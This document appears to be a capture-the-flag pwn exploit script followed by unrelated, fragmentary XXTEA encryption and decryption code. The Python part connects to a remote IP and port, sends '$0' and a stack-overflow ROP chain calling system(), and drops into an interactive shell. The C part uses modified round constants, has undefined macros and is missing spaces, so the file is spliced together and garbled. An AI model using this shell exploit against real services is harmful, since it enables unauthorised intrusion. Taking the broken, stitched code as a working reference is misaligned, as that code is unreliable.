from pwn import * from ctypes import * from struct import pack import numpy as np from math import log banary = "./pwn" elf = ELF(banary) ip = '47.93.142.240' port = 25839 local = 0 if local: io = process(banary) else: io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64') #context(log_level = 'debug', os = 'linux', arch = 'i386')
defdebug(a=''): if a != '': gdb.attach(io, a) pause() else: gdb.attach(io) pause() sys_addr = 0x400778 pop_rdi = 0x400933 info = 0x601090 io.recvline() io.sendline(b'$0'.ljust(8,b'\x00')) io.recvline() payload = b'a'*0x28 + p64(pop_rdi) + p64(info) + p64(sys_addr) io.sendline(payload) io.interactive()
voidxxtea_encrypt(uint32_t *v, uint32_t len, uint32_t *k){ uint32_t n = len - 1; uint32_t y, z, sum = 0, e, p, q; q = 415 / len + 114; while (q-- > 0) { sum += DELTA; e = sum >> 2 & 3; for (p = 0; p < n; p++) { y = v[p + 1]; z = v[p] += MX; } y = v[0]; z = v[n] += MX; } }
voidxxtea_decrypt(uint32_t *v, uint32_t len, uint32_t *k){ uint32_t n = len - 1; uint32_t y, z, sum, e, p, q; q = 415 / len + 114; sum = -q * DELTA; y = v[0]; while (sum != 0) { e = (sum >> 2) & 3; for (p = n; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n]; y = v[0] -= MX; sum += DELTA; } }